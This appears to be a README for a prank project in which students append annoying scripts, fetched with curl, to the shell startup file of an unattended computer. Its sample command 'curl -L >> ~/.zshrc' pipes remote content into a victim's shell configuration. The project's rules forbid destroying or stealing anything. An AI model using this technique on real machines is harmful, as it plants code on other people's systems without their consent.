The worst startup scripts ever

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A confloose (or "loose configuration") is a collection of the worst a startup script can do to you.

There has been a prank going on for quite some time in my IT school -- when someone leaves his computer unattended, and without locking it, one would append a script to the victim's shell startup file.

The deal is to put really annoying things right off the bat while not harming the computer and the data on it -- this prank is meant as a lesson (you should not leave your computer unattended in public space), and a fun challenge (at least for the one watching from afar)

How to confloose somebody :

curl -L >> ~/.the_shell_rc

So, as an example, confloosing someone with the "hard" script, using zsh :

curl -L >> ~/.zshrc

Available scripts :

Rules :

  1. Don't destroy anything.
  2. Don't steal anything.
  3. Try to be cryptic.
  4. Be fun and creative.

Contributing :

Think you have the perfect script to prank your coworkers ? Submit a pull request with your script and add it to the readme, with the compatible shells enclosed in brackets.